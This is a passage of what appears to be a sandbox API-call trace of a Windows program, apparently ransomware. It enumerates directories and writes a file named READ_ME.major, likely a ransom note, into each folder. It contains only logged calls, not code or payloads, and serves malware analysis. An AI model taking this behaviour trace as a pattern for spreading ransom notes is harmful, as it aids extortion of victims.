dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x450 [0107.476] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0107.476] WriteFile (in: hFile=0x450, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0107.477] CloseHandle (hObject=0x450) returned 1 [0107.477] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0107.477] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d380 | out: hHeap=0x570000) returned 1 [0107.477] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0107.477] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ab220 | out: hHeap=0x570000) returned 1 [0107.478] FindNextFileW (in: hFindFile=0x5a2fd0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0107.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0107.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0107.478] GetLastError () returned 0x0 [0107.478] SetLastError (dwErrCode=0x0) [0107.478] GetLastError () returned 0x0 [0107.478] SetLastError (dwErrCode=0x0) [0107.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0107.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0107.478] GetLastError () returned 0x0 [0107.478] SetLastError (dwErrCode=0x0) [0107.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0107.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6778 [0107.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0107.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6778 | out: hHeap=0x570000) returned 1 [0107.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0107.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1220 [0107.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0107.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2f0 [0107.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0107.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0107.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0107.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0107.478] GetLastError () returned 0x0 [0107.478] SetLastError (dwErrCode=0x0) [0107.478] GetLastError () returned 0x0 [0107.478] SetLastError (dwErrCode=0x0) [0107.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5a9008 [0107.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0107.478] GetLastError () returned 0x0 [0107.478] SetLastError (dwErrCode=0x0) [0107.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0107.478] CreateFileW (lpFileName="\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\READ_ME.major" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x450 [0107.493] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0107.493] WriteFile (in: hFile=0x450, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0107.494] CloseHandle (hObject=0x450) returned 1 [0107.494] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a9008 | out: hHeap=0x570000) returned 1 [0107.494] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0107.494] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2f0 | out: hHeap=0x570000) returned 1 [0107.494] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0107.494] FindNextFileW (in: hFindFile=0x5a2fd0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0107.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5ab140 [0107.494] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5898b0 | out: hHeap=0x570000) returned 1 [0107.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5ab220 [0107.494] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0ca8 | out: hHeap=0x570000) returned 1 [0107.494] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0107.494] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1130 | out: hHeap=0x570000) returned 1 [0107.494] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xfec96ba5, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5a3110 [0107.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0107.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0107.728] GetLastError () returned 0x12 [0107.728] SetLastError (dwErrCode=0x12) [0107.728] GetLastError () returned 0x12 [0107.728] SetLastError (dwErrCode=0x12) [0107.728] GetLastError () returned 0x12 [0107.728] SetLastError (dwErrCode=0x12) [0107.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5ab450 [0107.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0107.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0107.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1270 [0107.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3450 [0107.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3450 | out: hHeap=0x570000) returned 1 [0107.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5969b8 [0107.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5969b8 | out: hHeap=0x570000) returned 1 [0107.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1270 | out: hHeap=0x570000) returned 1 [0107.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ab450 | out: hHeap=0x570000) returned 1 [0107.728] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xfec96ba5, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0107.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0107.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0107.728] GetLastError () returned 0x12 [0107.728] SetLastError (dwErrCode=0x12) [0107.728] GetLastError () returned 0x12 [0107.728] SetLastError (dwErrCode=0x12) [0107.728] GetLastError () returned 0x12 [0107.728] SetLastError (dwErrCode=0x12) [0107.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5ab450 [0107.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0107.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0107.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1040 [0107.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3190 [0107.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3190 | out: hHeap=0x570000) returned 1 [0107.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5969b8 [0107.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5969b8 | out: hHeap=0x570000) returned 1 [0107.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1040 | out: hHeap=0x570000) returned 1 [0107.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ab450 | out: hHeap=0x570000) returned 1 [0107.729] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1025", cAlternateFileName="")) returned 1 [0107.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0107.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0107.729] GetLastError () returned 0x12 [0107.729] SetLastError (dwErrCode=0x12) [0107.729] GetLastError () returned 0x12 [0107.729] SetLastError (dwErrCode=0x12) [0107.729] GetLastError () returned 0x12 [0107.729] SetLastError (dwErrCode=0x12) [0107.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0107.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1270 [0107.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0107.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d340 [0107.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d200 [0107.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0107.729] GetLastError () returned 0x12 [0107.729] SetLastError (dwErrCode=0x12) [0107.729] GetLastError () returned 0x12 [0107.729] SetLastError (dwErrCode=0x12) [0107.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0107.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0107.729] GetLastError () returned 0x12 [0107.729] SetLastError (dwErrCode=0x12) [0107.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0107.730] CreateFileW (lpFileName="\\588bce7c90097ed212\\1025\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\1025\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0107.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0107.762] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0107.763] CloseHandle (hObject=0x454) returned 1 [0107.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0107.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d200 | out: hHeap=0x570000) returned 1 [0107.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d340 | out: hHeap=0x570000) returned 1 [0107.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0107.764] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1028", cAlternateFileName="")) returned 1 [0107.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0107.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0107.764] GetLastError () returned 0x0 [0107.764] SetLastError (dwErrCode=0x0) [0107.764] GetLastError () returned 0x0 [0107.764] SetLastError (dwErrCode=0x0) [0107.764] GetLastError () returned 0x0 [0107.764] SetLastError (dwErrCode=0x0) [0107.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0107.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1068 [0107.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0107.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d260 [0107.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d380 [0107.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0107.764] GetLastError () returned 0x0 [0107.764] SetLastError (dwErrCode=0x0) [0107.764] GetLastError () returned 0x0 [0107.764] SetLastError (dwErrCode=0x0) [0107.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0107.765] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0107.765] GetLastError () returned 0x0 [0107.765] SetLastError (dwErrCode=0x0) [0107.765] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0107.765] CreateFileW (lpFileName="\\588bce7c90097ed212\\1028\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\1028\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0107.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0107.767] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0107.768] CloseHandle (hObject=0x454) returned 1 [0107.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0107.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d380 | out: hHeap=0x570000) returned 1 [0107.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d260 | out: hHeap=0x570000) returned 1 [0107.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0107.768] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1029", cAlternateFileName="")) returned 1 [0107.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0107.768] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0107.768] GetLastError () returned 0x0 [0107.769] SetLastError (dwErrCode=0x0) [0107.769] GetLastError () returned 0x0 [0107.769] SetLastError (dwErrCode=0x0) [0107.769] GetLastError () returned 0x0 [0107.769] SetLastError (dwErrCode=0x0) [0107.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0107.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1040 [0107.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0107.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1c0 [0107.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0107.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0107.769] GetLastError () returned 0x0 [0107.769] SetLastError (dwErrCode=0x0) [0107.769] GetLastError () returned 0x0 [0107.769] SetLastError (dwErrCode=0x0) [0107.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0107.769] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0107.769] GetLastError () returned 0x0 [0107.769] SetLastError (dwErrCode=0x0) [0107.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0107.769] CreateFileW (lpFileName="\\588bce7c90097ed212\\1029\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\1029\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0107.771] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0107.771] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0107.772] CloseHandle (hObject=0x454) returned 1 [0107.775] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0107.775] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0107.775] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0107.775] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0107.775] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1030", cAlternateFileName="")) returned 1 [0107.775] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0107.775] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0107.775] GetLastError () returned 0x0 [0107.775] SetLastError (dwErrCode=0x0) [0107.775] GetLastError () returned 0x0 [0107.775] SetLastError (dwErrCode=0x0) [0107.775] GetLastError () returned 0x0 [0107.775] SetLastError (dwErrCode=0x0) [0107.775] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0107.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1108 [0107.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0107.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d290 [0107.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d210 [0107.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0107.776] GetLastError () returned 0x0 [0107.776] SetLastError (dwErrCode=0x0) [0107.776] GetLastError () returned 0x0 [0107.776] SetLastError (dwErrCode=0x0) [0107.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0107.776] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0107.776] GetLastError () returned 0x0 [0107.776] SetLastError (dwErrCode=0x0) [0107.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0107.776] CreateFileW (lpFileName="\\588bce7c90097ed212\\1030\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\1030\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0107.891] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0107.891] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0107.892] CloseHandle (hObject=0x454) returned 1 [0107.893] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0107.893] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d210 | out: hHeap=0x570000) returned 1 [0107.893] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d290 | out: hHeap=0x570000) returned 1 [0107.893] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0107.893] FindNextFileW (in: hFindFile=0x5a3110, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1031", cAlternateFileName="")) returned 1 [0107.893] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0107.893] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0107.893] GetLastError () returned 0x0 [0107.893] SetLastError (dwErrCode=0x0) [0107.893] GetLastError () returned 0x0 [0107.893] SetLastError (dwErrCode=0x0) [0107.893] GetLastError () returned 0x0 [0107.893] SetLastError (dwErrCode=0x0) [0107.893] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0107.893] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1298 [0107.893] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0107.893] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d290 [0107.893] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1a0 [0107.893] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0107.893] GetLastError () returned 0x0 [0107.893] SetLastError (dwErrCode=0x0) [0107.893] GetLastError () returned 0x0 [0107.893] SetLastError (dwErrCode=0x0) [0107.893] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0107.893] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0107.893] GetLastError () returned 0x0 [0107.893] SetLastError (dwErrCode=0x0) [0107.893] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0107.894] CreateFileW (lpFileName="\\588bce7c90097ed212\\1031\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\1031\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0107.946] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0107.947] WriteFile (in: hFile=0x454, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, 